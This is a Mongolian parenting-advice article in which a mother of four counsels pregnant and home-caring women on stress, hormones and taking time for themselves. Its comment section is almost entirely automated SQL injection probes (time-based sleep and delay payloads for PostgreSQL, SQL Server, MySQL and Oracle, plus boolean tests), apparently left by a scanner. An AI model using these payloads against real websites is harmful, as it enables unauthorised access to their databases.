image

ГООЛИНГОО | Жирэмсэн болон гэртээ хүүхдээ асарч буй эмэгтэйчүүдэд өгөх НАЙРСАГ зөвлөгөө

Сайн уу, бүсгүй минь? Урин хаврын өдрүүдийг хэрхэн өнгөрүүлж байна даа. Сэтгэл санаа тавгүйтээд, нэг л болж өгөхгүй хямраад байгаа юм биш биз. Зүгээр дээ. Хүнд өдрүүд ирсэн шигээ буцдаг. Дөрвөн хүүгийн ээж, “Гоолингоо ментор” клубийн гишүүн О.Одончимэг ээжүүддээ хандан найрсаг зөвлөгөө өгч байна. Уншаад өөртөө таалагдсаныг өдөр тутмын амьдралдаа хэрэгжүүлээрэй. Амжилт! 💖

Хүүхэд өвдөх үед дагаад сэтгэл санаагаар унахын оронд ...

Миний анзаарч байгаагаар хоёр төрлийн эмэгтэй хүн байна. Жирэмсэн байхдаа гармоны өөрчлөлтөд ороод, стресст автаж бухимддаг эмэгтэйчүүд. Эсвэл төрснийхөө дараа сэтгэл санаа нь хямардаг эмэгтэйчүүд. Гармоны өөрчлөлт өсөхдөө стресстэх үү, эсвэл буурахдаа стрессдэх үү гэдгээрээ л ялгаатай байх шиг. Тэр дундаа хүүхэд өвдөх үед ээжүүд маш их ядардаг, сэтгэл санаагаар унадаг. Энэ үе бол ээжүүдийг нэлээн хүнд байдалд оруулдаг гэхүү дээ. Гэхдээ дөрвөн хүүхэд төрүүлсэн хүний хувьд ээжүүддээ хандаж хэлэхэд тайван бай. Хүүхэд угаасаа ямар нэгэн байдлаар өвддөг. Сайн талаас нь харвал өвдөж байж дархлаатай болно. Үүнийг хүлээн зөвшөөрөөд сэтгэл санаагаараа дагаж хямралгүй арга зам хай. Хүүхэд өвдөхөөр дагаж уйлаад л, бухимдаад, өөрийгөө буруутгаад байж болохгүй. Түүний оронд ямар асаргаа, эмчилгээ хийх вэ, би юу хийж чадах вэ зэргийг төлөвлөх хэрэгтэй.

Хэн нэгэн чамд туслахыг хүлээх хэрэггүй ...

Ээж хүн өөртөө цаг гаргах боломжгүй мэт уламжлалт ойлголт манайд байдаг. Гэтэл аливаа зүйлийг хүндрүүлж бодохгүйгээр хийвэл үр дүн гардаг. Жишээ нь, хүүхдээ хөхүүлж байхдаа ном унших, хэн нэгэнтэй утсаар эсвэл биечлэн ярилцах гэх мэт. Юу хийхээр чамд таатай байна, түүнийг түр зуур ч хамаагүй хий гэж зөвлөмөөр байна. Зарим бүсгүйчүүдийн сул тал нь хэн нэгэн ирж надад туслах ёстой, намайг анхаарч халамжлаасай гээд хүлээгээд байдаг. Заавал хэн нэгэн ирж хүүхдийг минь хараад, би гадуур гарч байж стрессээ тайлна гэж боддог. Мөнгө л байвал бүх зүйлийг хийж болох мэт санадаг. Хүүхэд харах хүнгүй, гэртээ хүүхдээ харж байгаа болохоор л хэцүү байгаа мэт аашилдаг. Гэтэл үгүй. Таны хүүхэд аз жаргал бэлэглэх гэж л танай гэрт ирсэн шүү дээ. Сайн анзаараад харвал ээжүүд хүүхдээс биш гармоны өөрчлөлтөөс болж л бухимддаг. Үүнийгээ ээжүүд мэддэггүй.

Өөртөө цаг гаргахыг юу гэж ойлгодог вэ ...

Миний хувьд би гэртээ өнгүүлэх цагаа нэг нэгэнгүй төлөвлөдөг. Төлөвлөж бичихээр өөртөө гаргаж болох цагууд тодорхой гараад ирнэ. Энэ цагтаа кино үзээд, эсвэл дуртай дуугаа сонсдог. Заавал бизнес хийгээд л, бүх цагийг үр өгөөжтэй өнгөрүүлэх гэж дайрах шаардлагагүй. Хэтэрхий том зүйл төсөөлөх л албагүй. Зүгээр л юу хийвэл таатай байна. Түүнийгээ хий. Энэ нь ээжүүдийн өөртөө гаргаж буй хамгийн үнэтэй цаг юм.

Хүрээлэл маш чухал. Эерэг хүмүүсээр өөрийгөө хүрээлүүлэх нь бухимдахгүй амьдрах том шалтгаан. Байнга асуудал ярьдаг хүмүүс байдаг. Тийм хүмүүсээс зайлсхийх хэрэгтэй. Эсвэл өөрчлөх. Хоёулаа асуудал биш шийдэл ярья. Айл бүрд хүнд асуудал байна. Үүнийг хэн нэгэнд тоочлоо гээд юу ч өөр болохгүй. Тиймээс шийдэл хайя гэх маягаар харьцвал харах өнцөг өөрчлөгдөнө гэж боддог.

“Гоолингоо ментор” клубтэй хамтран бүтээв. 

375 Сэтгэгдэл:

  1. @@uVwJ7

  2. 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  3. 1'"

  4. 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  5. iZ7mqZNo')) OR 912=(SELECT 912 FROM PG_SLEEP(15))--

  6. 3jHp0R0M') OR 726=(SELECT 726 FROM PG_SLEEP(15))--

  7. HeVq0a9N' OR 707=(SELECT 707 FROM PG_SLEEP(15))--

  8. -1)) OR 709=(SELECT 709 FROM PG_SLEEP(15))--

  9. -5) OR 683=(SELECT 683 FROM PG_SLEEP(15))--

  10. -5 OR 890=(SELECT 890 FROM PG_SLEEP(15))--

  11. gOAgIwar'; waitfor delay '0:0:15' --

  12. 1 waitfor delay '0:0:15' --

  13. -1); waitfor delay '0:0:15' --

  14. -1; waitfor delay '0:0:15' --

  15. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  16. @@bKDvU

  17. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  18. -1" OR 2+520-520-1=0+0+0+1 --

  19. 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  20. -1' OR 2+752-752-1=0+0+0+1 or 'qJ4q7Fgz'='

  21. -1' OR 2+151-151-1=0+0+0+1 --

  22. if(now()=sysdate(),sleep(15),0)

  23. -1 OR 2+195-195-1=0+0+0+1

  24. -1" OR 2+914-914-1=0+0+0+1 --

  25. -1' OR 2+958-958-1=0+0+0+1 or 'abni1k7s'='

  26. -1 OR 2+94-94-1=0+0+0+1 --

  27. pbv6UxTj

  28. -1' OR 2+755-755-1=0+0+0+1 --

  29. -1 OR 2+372-372-1=0+0+0+1

  30. -1 OR 2+953-953-1=0+0+0+1 --

  31. PVdTJ7lN

  32. 1

  33. 1

  34. 1

  35. 1

  36. 1

  37. 1

  38. 1

  39. 1

  40. 1

  41. 1

  42. 1

  43. 1

  44. 1

  45. @@fVdib

  46. 1'"

  47. 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  48. 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  49. 9f7f8c2h')) OR 40=(SELECT 40 FROM PG_SLEEP(15))--

  50. @@AyaC7

  51. RCrsZCOl') OR 685=(SELECT 685 FROM PG_SLEEP(15))--

  52. IXDsfr0m' OR 253=(SELECT 253 FROM PG_SLEEP(15))--

  53. -1)) OR 718=(SELECT 718 FROM PG_SLEEP(15))--

  54. -5) OR 865=(SELECT 865 FROM PG_SLEEP(15))--

  55. 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  56. -5 OR 873=(SELECT 873 FROM PG_SLEEP(15))--

  57. 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  58. pTjMaqOO'; waitfor delay '0:0:15' --

  59. 9b9OQAX4')) OR 415=(SELECT 415 FROM PG_SLEEP(15))--

  60. 1 waitfor delay '0:0:15' --

  61. 2Me3ffdH') OR 112=(SELECT 112 FROM PG_SLEEP(15))--

  62. -1); waitfor delay '0:0:15' --

  63. 7rluW9Ga' OR 260=(SELECT 260 FROM PG_SLEEP(15))--

  64. -1; waitfor delay '0:0:15' --

  65. -1)) OR 363=(SELECT 363 FROM PG_SLEEP(15))--

  66. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  67. -5) OR 783=(SELECT 783 FROM PG_SLEEP(15))--

  68. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  69. -5 OR 327=(SELECT 327 FROM PG_SLEEP(15))--

  70. 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  71. 6ZjRHnKc'; waitfor delay '0:0:15' --

  72. if(now()=sysdate(),sleep(15),0)

  73. -1" OR 2+485-485-1=0+0+0+1 --

  74. 1 waitfor delay '0:0:15' --

  75. -1' OR 2+612-612-1=0+0+0+1 or 'iP9eBGQB'='

  76. -1' OR 2+875-875-1=0+0+0+1 --

  77. -1); waitfor delay '0:0:15' --

  78. -1 OR 2+122-122-1=0+0+0+1 --

  79. -1; waitfor delay '0:0:15' --

  80. -1 OR 2+70-70-1=0+0+0+1

  81. jkVD04Wx

  82. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  83. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  84. 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  85. if(now()=sysdate(),sleep(15),0)

  86. -1" OR 2+40-40-1=0+0+0+1 --

  87. -1' OR 2+473-473-1=0+0+0+1 or 'rku3z40A'='

  88. -1 OR 2+377-377-1=0+0+0+1

  89. -1' OR 2+86-86-1=0+0+0+1 --

  90. vB6iQdHy

  91. -1 OR 2+769-769-1=0+0+0+1 --

  92. 1

  93. 1

  94. 1

  95. 1

  96. 1

  97. 1

  98. 1

  99. 1

  100. @@lhg7K

  101. @@0ukCa

  102. 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  103. 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  104. KGxwqFYs') OR 197=(SELECT 197 FROM PG_SLEEP(15))--

  105. MePSyaNz')) OR 742=(SELECT 742 FROM PG_SLEEP(15))--

  106. -1)) OR 797=(SELECT 797 FROM PG_SLEEP(15))--

  107. XPqtNRKZ' OR 494=(SELECT 494 FROM PG_SLEEP(15))--

  108. 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  109. -5) OR 882=(SELECT 882 FROM PG_SLEEP(15))--

  110. 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  111. -5 OR 925=(SELECT 925 FROM PG_SLEEP(15))--

  112. AmBLEVyM')) OR 732=(SELECT 732 FROM PG_SLEEP(15))--

  113. JzlIRNEb') OR 211=(SELECT 211 FROM PG_SLEEP(15))--

  114. 62j72WDT'; waitfor delay '0:0:15' --

  115. 1 waitfor delay '0:0:15' --

  116. -1); waitfor delay '0:0:15' --

  117. M2sByUl7' OR 635=(SELECT 635 FROM PG_SLEEP(15))--

  118. -1)) OR 446=(SELECT 446 FROM PG_SLEEP(15))--

  119. -1; waitfor delay '0:0:15' --

  120. -5) OR 652=(SELECT 652 FROM PG_SLEEP(15))--

  121. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  122. -5 OR 529=(SELECT 529 FROM PG_SLEEP(15))--

  123. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  124. 0hmgKoFn'; waitfor delay '0:0:15' --

  125. 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  126. 1 waitfor delay '0:0:15' --

  127. if(now()=sysdate(),sleep(15),0)

  128. -1); waitfor delay '0:0:15' --

  129. -1" OR 2+860-860-1=0+0+0+1 --

  130. -1; waitfor delay '0:0:15' --

  131. -1' OR 2+792-792-1=0+0+0+1 or 'CQ0UhjCX'='

  132. -1' OR 2+594-594-1=0+0+0+1 --

  133. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  134. -1 OR 2+828-828-1=0+0+0+1

  135. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  136. -1 OR 2+450-450-1=0+0+0+1 --

  137. kVXLIItH

  138. 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  139. if(now()=sysdate(),sleep(15),0)

  140. -1" OR 2+853-853-1=0+0+0+1 --

  141. -1' OR 2+570-570-1=0+0+0+1 --

  142. -1' OR 2+181-181-1=0+0+0+1 or 'eCOH49oE'='

  143. -1 OR 2+880-880-1=0+0+0+1

  144. -1 OR 2+859-859-1=0+0+0+1 --

  145. LIR6lnwY

  146. 1

  147. 1

  148. 1

  149. 1

  150. 1

  151. 1

  152. 1

  153. 1

  154. 1

  155. 1

  156. 1

  157. 1

  158. @@c02oK

  159. @@Dt0qM

  160. 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  161. 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  162. 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  163. 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  164. qFIsEeYf')) OR 202=(SELECT 202 FROM PG_SLEEP(15))--

  165. Iq2bL3Yj')) OR 982=(SELECT 982 FROM PG_SLEEP(15))--

  166. oW8m9iUb') OR 134=(SELECT 134 FROM PG_SLEEP(15))--

  167. AX3dwwy6') OR 140=(SELECT 140 FROM PG_SLEEP(15))--

  168. KJ590EJf' OR 43=(SELECT 43 FROM PG_SLEEP(15))--

  169. B24cbn2W' OR 155=(SELECT 155 FROM PG_SLEEP(15))--

  170. -1)) OR 444=(SELECT 444 FROM PG_SLEEP(15))--

  171. -5) OR 261=(SELECT 261 FROM PG_SLEEP(15))--

  172. -1)) OR 22=(SELECT 22 FROM PG_SLEEP(15))--

  173. -5 OR 511=(SELECT 511 FROM PG_SLEEP(15))--

  174. -5) OR 918=(SELECT 918 FROM PG_SLEEP(15))--

  175. btNDzQoS'; waitfor delay '0:0:15' --

  176. -5 OR 607=(SELECT 607 FROM PG_SLEEP(15))--

  177. 2TeLu8TY'; waitfor delay '0:0:15' --

  178. 1 waitfor delay '0:0:15' --

  179. -1); waitfor delay '0:0:15' --

  180. 1 waitfor delay '0:0:15' --

  181. -1); waitfor delay '0:0:15' --

  182. -1; waitfor delay '0:0:15' --

  183. -1; waitfor delay '0:0:15' --

  184. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  185. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  186. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  187. 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  188. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  189. 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  190. if(now()=sysdate(),sleep(15),0)

  191. -1" OR 2+475-475-1=0+0+0+1 --

  192. if(now()=sysdate(),sleep(15),0)

  193. -1' OR 2+90-90-1=0+0+0+1 --

  194. -1' OR 2+916-916-1=0+0+0+1 or 'kGgyaskD'='

  195. -1' OR 2+435-435-1=0+0+0+1 or 'KYhyCfCm'='

  196. -1 OR 2+325-325-1=0+0+0+1

  197. -1" OR 2+165-165-1=0+0+0+1 --

  198. -1 OR 2+47-47-1=0+0+0+1 --

  199. -1 OR 2+689-689-1=0+0+0+1 --

  200. -1 OR 2+993-993-1=0+0+0+1

  201. h9vAdsIf

  202. -1' OR 2+626-626-1=0+0+0+1 --

  203. okIsasUP

  204. 1

  205. 1

  206. 1

  207. 1

  208. 1

  209. 1

  210. 1

  211. 1

  212. 1

  213. 1

  214. @@khSwo

  215. 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  216. @@iAGMx

  217. 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  218. 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  219. 1'"

  220. rJBT6sXo')) OR 664=(SELECT 664 FROM PG_SLEEP(15))--

  221. 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  222. ZFqqD6jx') OR 181=(SELECT 181 FROM PG_SLEEP(15))--

  223. PIN1nFp1')) OR 124=(SELECT 124 FROM PG_SLEEP(15))--

  224. vwf87axQ' OR 919=(SELECT 919 FROM PG_SLEEP(15))--

  225. -1)) OR 482=(SELECT 482 FROM PG_SLEEP(15))--

  226. D3Zt3RCK') OR 910=(SELECT 910 FROM PG_SLEEP(15))--

  227. -5) OR 916=(SELECT 916 FROM PG_SLEEP(15))--

  228. W4U2sZv5' OR 582=(SELECT 582 FROM PG_SLEEP(15))--

  229. -1)) OR 808=(SELECT 808 FROM PG_SLEEP(15))--

  230. -5 OR 364=(SELECT 364 FROM PG_SLEEP(15))--

  231. aula2tcw'; waitfor delay '0:0:15' --

  232. -5) OR 406=(SELECT 406 FROM PG_SLEEP(15))--

  233. 1 waitfor delay '0:0:15' --

  234. -5 OR 112=(SELECT 112 FROM PG_SLEEP(15))--

  235. 4n4NaTxh'; waitfor delay '0:0:15' --

  236. -1); waitfor delay '0:0:15' --

  237. 1 waitfor delay '0:0:15' --

  238. -1; waitfor delay '0:0:15' --

  239. -1); waitfor delay '0:0:15' --

  240. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  241. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  242. -1; waitfor delay '0:0:15' --

  243. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  244. 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  245. if(now()=sysdate(),sleep(15),0)

  246. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  247. 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  248. -1" OR 2+74-74-1=0+0+0+1 --

  249. if(now()=sysdate(),sleep(15),0)

  250. -1' OR 2+709-709-1=0+0+0+1 or 'KXnfsUxs'='

  251. -1' OR 2+396-396-1=0+0+0+1 --

  252. -1' OR 2+401-401-1=0+0+0+1 or 'GZOAbOXo'='

  253. -1 OR 2+735-735-1=0+0+0+1

  254. -1" OR 2+614-614-1=0+0+0+1 --

  255. -1 OR 2+814-814-1=0+0+0+1

  256. eyPBCUKn

  257. -1' OR 2+142-142-1=0+0+0+1 --

  258. -1 OR 2+923-923-1=0+0+0+1 --

  259. qEzF7raQ

  260. -1 OR 2+718-718-1=0+0+0+1 --

  261. 1

  262. 1

  263. 1

  264. 1

  265. 1

  266. 1

  267. 1

  268. 1

  269. 1

Сэтгэгдэл илгээх